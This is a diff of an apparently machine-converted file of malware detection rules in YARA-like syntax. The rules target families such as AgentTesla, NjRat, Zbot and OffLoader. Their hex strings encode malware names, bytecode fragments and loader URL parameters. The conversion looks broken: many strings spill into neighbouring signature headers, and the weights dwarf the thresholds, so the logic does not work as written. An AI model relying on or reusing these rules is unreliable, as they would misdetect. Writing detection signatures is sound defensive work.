1)*385+(#a_43_3 & 1)*6400+(#a_69_4 & 1)*25200+(#a_70_5 & 1)*29285) >=6 + +} +rule _InfrastructureShared_12845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -133683,7 +142630,7 @@ rule _InfrastructureShared_12052{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*17244+(#a_62_2 & 1)*384+(#a_65_3 & 1)*24946+(#a_65_4 & 1)*24933) >=7 } -rule _InfrastructureShared_12053{ +rule _InfrastructureShared_12846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -133699,7 +142646,7 @@ rule _InfrastructureShared_12053{ ((#a_6c_0 & 1)*16675+(#a_6b_1 & 1)*28535+(#a_01_2 & 1)*25454+(#a_70_3 & 1)*26212+(#a_54_4 & 1)*29793+(#a_63_5 & 1)*29779+(#a_50_6 & 1)*19595) >=7 } -rule _InfrastructureShared_12054{ +rule _InfrastructureShared_12847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -133715,7 +142662,7 @@ rule _InfrastructureShared_12054{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29295+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2+(#a_80_6 & 1)*2) >=7 } -rule _InfrastructureShared_12055{ +rule _InfrastructureShared_12848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 21 " @@ -133730,7 +142677,7 @@ rule _InfrastructureShared_12055{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32751+(#a_54_2 & 1)*29793+(#a_63_3 & 1)*29779+(#a_50_4 & 1)*19595+(#a_23_5 & 1)*4) >=9 } -rule _InfrastructureShared_12056{ +rule _InfrastructureShared_12849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -133741,7 +142688,7 @@ rule _InfrastructureShared_12056{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*19595) >=10 } -rule _InfrastructureShared_12057{ +rule _InfrastructureShared_12850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -133753,7 +142700,7 @@ rule _InfrastructureShared_12057{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_33_3 & 1)*26967) >=10 } -rule _InfrastructureShared_12058{ +rule _InfrastructureShared_12851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -133766,7 +142713,7 @@ rule _InfrastructureShared_12058{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*5+(#a_01_2 & 1)*5+(#a_01_3 & 1)*5) >=10 } -rule _InfrastructureShared_12059{ +rule _InfrastructureShared_12852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -133779,7 +142726,7 @@ rule _InfrastructureShared_12059{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*108+(#a_61_3 & 1)*28530+(#a_01_4 & 1)*1) >=10 } -rule _InfrastructureShared_12060{ +rule _InfrastructureShared_12853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -133799,7 +142746,7 @@ rule _InfrastructureShared_12060{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29555+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_12061{ +rule _InfrastructureShared_12854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -133819,7 +142766,7 @@ rule _InfrastructureShared_12061{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*25970+(#a_32_2 & 1)*18006+(#a_04_3 & 1)*-28632+(#a_0a_4 & 1)*400+(#a_90_5 & 1)*1025+(#a_34_6 & 1)*-8521+(#a_63_7 & 1)*-7517+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1) >=11 } -rule _InfrastructureShared_12062{ +rule _InfrastructureShared_12855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -133830,7 +142777,7 @@ rule _InfrastructureShared_12062{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632) >=12 } -rule _InfrastructureShared_12063{ +rule _InfrastructureShared_12856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -133842,7 +142789,7 @@ rule _InfrastructureShared_12063{ ((#a_46_0 & 1)*16675+(#a_c9_1 & 1)*-29183+(#a_07_2 & 1)*2311) >=12 } -rule _InfrastructureShared_12064{ +rule _InfrastructureShared_12857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -133850,25 +142797,36 @@ rule _InfrastructureShared_12064{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 49 54 21 4d 54 42 00 0a 00 4e 00 17 58 0d 09 20 00 01 00 00 5d 0d 08 07 09 94 58 0c 08 20 00 01 00 00 5d 0c 07 09 94 13 04 07 09 07 08 94 9e 07 08 11 04 9e 07 07 09 94 07 } //18467 $a_20_1 = {01 00 00 5d 94 13 07 11 06 06 03 06 91 11 07 61 d2 9c 06 17 58 0a 06 03 8e 69 32 01 00 05 80 01 53 6c 65 65 70 01 00 0c 80 01 43 6c 61 73 73 4c 69 62 72 61 72 79 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 00 78 ad 00 00 0e 00 0e 00 05 00 21 23 48 53 54 } //-27640 $a_72_2 = {6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 45 21 4d 54 42 00 0a 00 41 02 17 da 13 05 16 13 06 2b 21 07 11 04 11 06 6f 90 01 04 13 07 11 07 28 90 01 04 13 08 08 06 11 08 b4 9c 11 06 17 d6 13 06 11 06 11 05 31 d9 06 17 d6 0a 11 } //14930 - $a_13_3 = {11 04 09 31 bb 02 08 90 00 01 00 08 80 01 47 65 74 50 69 78 65 6c 01 00 07 80 01 47 65 74 54 79 70 65 01 00 0e 80 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 08 80 01 4c 61 74 65 43 61 6c 6c 00 00 78 ad 00 00 0f 00 0f 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 4e 45 41 58 21 4d 54 42 00 05 00 24 01 30 30 62 39 65 65 37 65 2d 65 30 30 31 2d 34 33 39 39 2d 38 62 39 38 2d 64 37 31 63 61 34 36 31 62 64 37 64 05 00 2c 01 43 3a 5c 55 73 65 72 73 5c 62 69 6c 61 6c 5c 44 65 73 6b 74 6f 70 5c 61 79 61 64 6f 5c 73 6d 5c 73 6d 5c 62 69 6e 5c 44 65 62 75 67 02 00 06 01 73 6d 2e 65 78 65 02 00 06 01 73 } //5892 + $a_13_3 = {11 04 09 31 bb 02 08 90 00 01 00 08 80 01 47 65 74 50 69 78 65 6c 01 00 07 80 01 47 65 74 54 79 70 65 01 00 0e 80 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 08 80 01 4c 61 74 65 43 61 6c 6c 00 00 78 ad 00 00 0f 00 0f 00 02 00 21 23 48 53 54 52 3a 5a 75 73 79 2e 48 41 21 4d 54 42 00 0a 00 56 01 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 20 00 28 00 78 00 38 00 36 00 29 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 45 00 64 00 67 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 5c 00 05 00 34 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 4e } //5892 condition: ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*-27640+(#a_72_2 & 1)*14930+(#a_13_3 & 1)*5892) >=13 } -rule _InfrastructureShared_12065{ +rule _InfrastructureShared_12858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 45 21 4d 54 42 00 0a 00 41 02 17 da 13 05 16 13 06 2b 21 07 11 04 11 06 6f 90 01 04 13 07 11 07 28 90 01 04 13 08 08 06 11 08 b4 9c 11 06 17 d6 13 06 11 06 11 05 31 d9 } //18467 - $a_0a_1 = {11 04 17 d6 13 04 11 04 09 31 bb 02 08 90 00 01 00 08 80 01 47 65 74 50 69 78 65 6c 01 00 07 80 01 47 65 74 54 79 70 65 01 00 0e 80 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 08 80 01 4c 61 74 65 43 61 6c 6c 00 00 78 ad 00 00 0f 00 0f 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 4e 45 41 58 21 4d 54 42 00 05 00 24 01 30 30 62 39 65 65 37 65 2d 65 30 30 31 2d 34 33 39 39 2d 38 62 39 38 2d 64 37 31 63 61 34 36 31 62 64 37 64 05 00 2c 01 43 3a 5c 55 73 65 72 73 5c 62 69 6c 61 6c 5c 44 65 73 6b 74 6f 70 5c 61 79 61 64 6f 5c 73 6d 5c 73 6d 5c 62 69 6e 5c 44 65 62 75 67 02 00 06 01 73 6d 2e 65 78 } //5894 - $a_2e_3 = {64 62 01 00 14 01 53 79 73 74 65 6d 2e 57 69 6e 64 6f 77 73 2e 46 6f 72 6d 73 00 00 78 ad 00 00 10 00 10 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 63 73 74 6c 2e 4e 45 41 42 21 4d 54 42 00 0a 00 2a 03 16 16 2c 47 26 2b 17 2b 45 07 09 07 8e 69 5d 91 06 09 91 61 d2 6f 90 01 01 00 00 0a 09 17 58 0d 09 06 } //29441 - $a_e3_4 = {2a 90 00 02 00 0e 01 31 37 2e 32 2e 33 32 36 33 30 2e 31 39 32 02 00 18 01 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 20 38 2e 31 2e 30 2e 34 38 39 32 02 } //27022 + $a_0a_1 = {11 04 17 d6 13 04 11 04 09 31 bb 02 08 90 00 01 00 08 80 01 47 65 74 50 69 78 65 6c 01 00 07 80 01 47 65 74 54 79 70 65 01 00 0e 80 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 08 80 01 4c 61 74 65 43 61 6c 6c 00 00 78 ad 00 00 0f 00 0f 00 02 00 21 23 48 53 54 52 3a 5a 75 73 79 2e 48 41 21 4d 54 42 00 0a 00 56 01 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 20 00 28 00 78 00 38 00 36 00 29 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 45 00 64 00 67 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 5c 00 05 00 34 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 } //5894 + $a_00_3 = {54 00 5c 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 5c 00 76 00 00 00 78 ad 00 00 0f 00 0f 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 4e 45 41 58 21 4d 54 } //78 + $a_00_4 = {24 01 30 30 62 } //66 condition: - ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*5894+(#a_2e_3 & 1)*29441+(#a_e3_4 & 1)*27022) >=14 + ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*5894+(#a_00_3 & 1)*78+(#a_00_4 & 1)*66) >=14 } -rule _InfrastructureShared_12066{ +rule _InfrastructureShared_12859{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_54_0 = {3a 5a 75 73 79 2e 48 41 21 4d 54 42 00 0a 00 56 01 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 20 00 28 00 78 00 38 00 36 00 29 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 45 00 } //18467 + $a_00_1 = {65 00 55 00 70 00 64 00 61 00 74 00 65 00 5c 00 05 00 34 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 4e 00 45 00 54 00 5c 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 5c 00 76 00 00 00 78 ad 00 00 0f 00 0f 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e } //100 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*100) >=15 + +} +rule _InfrastructureShared_12860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 05 00 21 " @@ -133881,7 +142839,7 @@ rule _InfrastructureShared_12066{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*29285+(#a_21_2 & 1)*16709+(#a_72_4 & 1)*27987) >=15 } -rule _InfrastructureShared_12067{ +rule _InfrastructureShared_12861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -133893,7 +142851,7 @@ rule _InfrastructureShared_12067{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*12545+(#a_00_3 & 1)*114) >=16 } -rule _InfrastructureShared_12068{ +rule _InfrastructureShared_12862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -133905,7 +142863,7 @@ rule _InfrastructureShared_12068{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0+(#a_04_3 & 1)*-28531) >=16 } -rule _InfrastructureShared_12069{ +rule _InfrastructureShared_12863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -133919,7 +142877,7 @@ rule _InfrastructureShared_12069{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*6181+(#a_16_2 & 1)*1025+(#a_00_3 & 1)*1043+(#a_47_4 & 1)*-32759) >=18 } -rule _InfrastructureShared_12070{ +rule _InfrastructureShared_12864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -133933,7 +142891,7 @@ rule _InfrastructureShared_12070{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2000+(#a_58_2 & 1)*11873+(#a_19_3 & 1)*-26082+(#a_17_4 & 1)*-24060) >=18 } -rule _InfrastructureShared_12071{ +rule _InfrastructureShared_12865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -133942,13 +142900,13 @@ rule _InfrastructureShared_12071{ $a_47_1 = {74 02 00 08 80 01 4c 61 74 65 43 61 6c 6c 0a 00 35 02 1e 9a 0b 19 8d 90 01 04 25 16 90 01 05 28 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 7e 90 01 04 a2 0c 08 28 90 01 04 07 08 28 90 01 04 26 20 00 08 00 00 2a 90 00 00 00 78 ad 00 00 18 00 18 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //29793 $a_65_2 = {74 54 65 73 6c 61 2e 41 56 49 50 38 21 4d 54 42 00 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 1f 02 20 00 01 00 00 14 14 17 8d 90 01 04 25 16 03 8c 90 01 04 a2 28 90 01 04 a5 90 01 04 0a 90 00 0a 00 1e 01 20 00 } //16687 $a_00_3 = {20 00 6f 00 20 00 57 00 20 00 69 00 20 00 6e 00 20 00 33 00 20 00 32 00 01 00 07 01 52 65 70 6c } //84 - $a_00_4 = {00 78 ae 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 31 39 21 4d 54 42 00 01 00 7f 02 83 c4 04 89 45 90 01 01 8b 45 90 1b 00 a3 90 01 04 a1 90 01 04 99 b9 90 01 04 f7 f9 a3 90 01 04 c7 45 90 01 01 90 01 04 90 18 81 7d 90 1b 06 90 01 04 73 } //25441 - $a_90_5 = {0a } //400 + $a_00_4 = {00 78 ad 00 00 1b 00 1b 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4d 21 4d 54 42 00 08 00 0c 81 01 2e 70 68 70 3f 70 65 3d 6e 26 70 3d 08 00 07 81 01 26 74 69 74 6c 65 3d 08 00 05 81 01 26 73 75 62 3d 02 00 05 81 01 2e 78 79 7a 2f 02 00 05 } //25441 + $a_69_5 = {75 2f 02 00 06 81 01 2e 69 6e 66 6f 2f 01 00 07 80 01 2f 73 69 6c 65 6e 74 01 00 0d 80 01 2f 77 65 61 6b 73 65 63 75 72 69 74 79 01 00 0a } //385 condition: - ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*29793+(#a_65_2 & 1)*16687+(#a_00_3 & 1)*84+(#a_00_4 & 1)*25441+(#a_90_5 & 1)*400) >=20 + ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*29793+(#a_65_2 & 1)*16687+(#a_00_3 & 1)*84+(#a_00_4 & 1)*25441+(#a_69_5 & 1)*385) >=20 } -rule _InfrastructureShared_12072{ +rule _InfrastructureShared_12866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " @@ -133957,13 +142915,61 @@ rule _InfrastructureShared_12072{ $a_00_1 = {00 } //32 $a_8d_2 = {01 04 25 16 03 8c 90 01 04 a2 28 90 01 04 a5 90 01 04 0a 90 00 0a 00 } //5140 $a_00_3 = {54 00 20 00 20 00 6f 00 20 00 57 00 20 00 69 00 20 00 6e 00 20 00 33 00 20 00 32 00 01 00 07 01 } //286 - $a_6c_4 = {63 65 00 00 78 ae 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 31 39 21 4d 54 42 00 01 00 7f 02 83 c4 04 89 45 90 01 01 8b 45 90 1b 00 a3 90 01 04 a1 90 01 04 99 b9 90 01 04 f7 f9 a3 90 01 04 c7 45 90 01 01 90 01 04 90 18 81 7d 90 1b 06 90 01 04 73 90 01 01 90 02 0a 8b 45 } //25938 - $a_8b_5 = {85 90 01 04 2b 0d } //7056 + $a_6c_4 = {63 65 00 00 78 ad 00 00 1b 00 1b 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4d 21 4d 54 42 00 08 00 0c 81 01 2e 70 68 70 3f 70 65 3d 6e 26 70 3d 08 00 07 81 01 26 74 69 74 6c 65 3d 08 00 05 81 01 26 73 75 62 3d 02 00 05 81 01 2e 78 79 7a 2f 02 00 05 81 01 2e 69 63 75 2f 02 } //25938 + $a_01_5 = {2e 69 6e 66 6f 2f 01 00 07 80 01 2f 73 69 6c 65 6e 74 01 00 0d 80 01 2f 77 65 61 6b 73 65 63 75 72 69 74 79 01 00 0a 80 01 2f 6e 6f 63 6f 6f 6b 69 65 73 01 00 07 80 01 2f 72 65 73 75 6d 65 00 00 78 ad 00 00 1e 00 1e 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4c 21 4d 54 42 00 08 00 0c 81 01 2e 70 68 70 3f 70 65 3d 6e 26 70 } //1536 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32+(#a_8d_2 & 1)*5140+(#a_00_3 & 1)*286+(#a_6c_4 & 1)*25938+(#a_8b_5 & 1)*7056) >=24 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32+(#a_8d_2 & 1)*5140+(#a_00_3 & 1)*286+(#a_6c_4 & 1)*25938+(#a_01_5 & 1)*1536) >=24 } -rule _InfrastructureShared_12073{ +rule _InfrastructureShared_12867{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4d 21 4d 54 42 00 08 00 0c 81 01 2e 70 68 70 3f 70 65 3d 6e 26 70 3d 08 00 07 81 01 26 74 69 74 6c 65 3d 08 00 05 81 01 26 73 75 62 3d 02 00 05 81 01 2e 78 79 7a 2f 02 00 } //18467 + $a_2e_1 = {63 } //-32507 c + $a_00_2 = {06 81 } //12149 + $a_6e_3 = {6f 2f 01 00 07 80 01 2f 73 69 6c 65 6e 74 01 00 0d 80 01 2f 77 65 61 6b 73 65 63 75 72 69 74 79 01 00 0a 80 01 2f 6e 6f 63 6f 6f 6b 69 65 73 01 00 07 80 01 2f 72 65 73 75 6d 65 00 00 78 ad 00 00 1e 00 1e 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4c 21 } //11777 + $a_00_4 = {08 00 0c 81 01 2e 70 68 70 3f 70 65 3d 6e 26 70 3d 08 00 07 81 01 26 74 69 74 6c 65 3d 08 00 05 81 01 26 73 75 62 3d 02 00 05 81 01 2e 78 79 7a 2f 02 00 05 81 01 2e 69 63 75 2f 02 00 06 81 01 2e 69 } //21581 + $a_2f_5 = {00 07 80 01 2f 73 69 6c 65 6e 74 01 00 0d 80 01 2f 77 65 61 6b 73 65 63 75 72 69 74 79 01 00 0a 80 01 2f 6e 6f 63 6f 6f 6b 69 65 73 01 00 07 80 01 2f 72 65 73 75 6d 65 00 00 78 ad 00 00 28 00 28 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 22 03 48 83 7c 24 68 0f 4c 0f } //26222 + $a_50_6 = {d2 33 c9 ff 15 90 01 04 48 8d 4c 24 50 48 83 7c 24 68 0f 90 00 0a 00 26 01 48 ff ca 48 21 53 20 48 8b 73 20 } //17479 + $a_28_7 = {8b c6 48 23 c2 48 8d 3c c5 00 00 00 00 48 8b 43 10 48 83 3c 07 00 0f 00 32 01 4d 55 54 45 58 5f 25 30 38 78 25 30 34 78 25 30 34 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 00 00 78 ae 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 } //840 + $a_21_8 = {54 42 00 01 00 7f 02 83 c4 04 89 45 90 01 01 8b 45 90 1b 00 a3 90 01 04 a1 90 01 04 99 b9 90 01 04 f7 f9 a3 90 01 04 c7 45 90 01 01 90 01 04 90 18 81 7d 90 1b 06 90 01 04 } //12612 + $a_01_9 = {90 } //-28557 + condition: + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*-32507+(#a_00_2 & 1)*12149+(#a_6e_3 & 1)*11777+(#a_00_4 & 1)*21581+(#a_2f_5 & 1)*26222+(#a_50_6 & 1)*17479+(#a_28_7 & 1)*840+(#a_21_8 & 1)*12612+(#a_01_9 & 1)*-28557) >=27 + +} +rule _InfrastructureShared_12868{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4c 21 4d 54 42 00 08 00 0c 81 01 2e 70 68 70 3f 70 65 3d 6e 26 70 3d 08 00 07 81 01 26 74 69 74 6c 65 3d 08 00 05 81 01 26 73 75 62 3d 02 00 05 81 01 2e 78 79 7a 2f 02 00 } //18467 + $a_2e_1 = {63 } //-32507 c + $a_00_2 = {06 81 } //12149 + $a_6e_3 = {6f 2f 01 00 07 80 01 2f 73 69 6c 65 6e 74 01 00 0d 80 01 2f 77 65 61 6b 73 65 63 75 72 69 74 79 01 00 0a 80 01 2f 6e 6f 63 6f 6f 6b 69 65 73 01 00 07 80 01 2f 72 65 73 75 6d 65 00 00 78 ad 00 00 28 00 28 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 22 } //11777 + $a_7c_4 = {68 0f 4c 0f 47 44 24 50 33 d2 33 c9 ff 15 90 01 04 48 8d 4c 24 50 48 83 7c 24 68 0f 90 00 0a 00 26 01 48 ff ca 48 21 53 20 48 8b 73 20 48 03 73 28 48 8b c6 48 23 c2 48 8d 3c c5 00 00 00 00 48 8b 43 10 48 83 3c 07 00 0f 00 32 01 4d 55 54 45 58 5f 25 30 38 78 25 30 34 78 25 30 34 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 00 00 78 ae 00 } //18435 + $a_3a_7 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 31 39 21 4d 54 42 00 01 00 7f 02 83 c4 04 89 45 90 01 01 8b 45 90 1b 00 a3 90 01 04 a1 90 01 04 99 b9 90 01 04 f7 f9 a3 90 01 04 c7 45 90 01 01 90 } //19521 + $a_18_8 = {7d 90 1b 06 90 01 04 73 90 01 01 90 02 0a 8b 45 90 1b 06 8b 0c 85 90 01 04 2b 0d 90 01 04 8b 15 90 1b 02 03 55 90 1b 06 88 0a 90 18 8b 55 90 1b 06 83 c2 90 01 01 89 55 90 1b 06 81 7d 90 1b 06 90 1b 0a 90 18 90 02 0a a1 90 1b 02 c6 80 90 1b 0a 00 90 00 00 00 78 ae 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 42 42 47 31 32 33 21 4d 54 42 00 01 00 78 01 13 04 } //1025 + $a_38_9 = {00 00 00 00 28 } //4884 + condition: + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*-32507+(#a_00_2 & 1)*12149+(#a_6e_3 & 1)*11777+(#a_7c_4 & 1)*18435+(#a_3a_7 & 1)*19521+(#a_18_8 & 1)*1025+(#a_38_9 & 1)*4884) >=30 + +} +rule _InfrastructureShared_12869{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 22 03 48 83 7c 24 68 0f 4c 0f 47 44 24 50 33 d2 33 c9 ff 15 90 01 04 48 8d 4c 24 50 48 83 7c 24 68 0f 90 00 0a 00 26 01 48 ff } //21539 + $a_53_1 = {48 8b 73 20 48 03 73 28 48 8b c6 48 23 c2 48 8d 3c c5 00 00 00 00 48 8b 43 10 48 83 3c 07 00 0f 00 } //18634 + $a_55_2 = {45 58 5f 25 30 38 78 25 30 34 78 25 30 34 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 00 00 78 ae 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //306 + condition: + ((#a_4c_0 & 1)*21539+(#a_53_1 & 1)*18634+(#a_55_2 & 1)*306) >=40 + +} +rule _InfrastructureShared_12870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -133973,7 +142979,7 @@ rule _InfrastructureShared_12073{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12074{ +rule _InfrastructureShared_12871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -133983,7 +142989,7 @@ rule _InfrastructureShared_12074{ ((#a_54_0 & 1)*18467) 